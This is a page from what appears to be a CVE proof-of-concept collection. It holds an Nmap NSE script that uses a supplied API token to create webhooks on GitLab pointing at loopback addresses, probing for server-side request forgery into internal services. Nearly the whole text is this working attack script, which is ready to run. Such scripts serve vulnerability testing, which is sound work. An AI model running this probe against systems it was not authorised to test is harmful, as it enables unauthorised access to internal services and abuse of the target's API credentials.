4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / gitlab-ssrf-brute.nse NSE
local http = require "http"
local json = require "json"
local stdnse = require "stdnse"
local shortport = require "shortport"

description = [[
Brute-force SSRF endpoint in GitLab via webhooks to identify if internal services are accessible.
]]

author = "Topskiy_Pavel"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive"}

portrule = shortport.port_or_service(8080, "http")

action = function(host, port)
  local token = stdnse.get_script_args("gitlab.token")
  if not token then
    return "❌ Token not provided, use --script-args gitlab.token=<token>"
  end

  local payloads = {
    "http://127.0.0.1:8888",
    "http://localhost:8888",
    "http://[::1]:8888"
  }

  for _, url in ipairs(payloads) do
    local json_payload = json.encode({ url = url })
    local response = http.post(
      host,
      port,
      "/api/v4/projects/1/hooks",
      {
        headers = {
          ["PRIVATE-TOKEN"] = token,
          ["Content-Type"] = "application/json",
          ["Content-Length"] = tostring(#json_payload)
        },
        body = json_payload
      }
    )

    if response and response.status ~= 422 then
      return string.format("✅ SSRF successful or unexpected response from: %s\nResponse: %s", url, response.body)
    end
  end

  return "❌ All payloads returned 422 - likely not vulnerable or protected"
end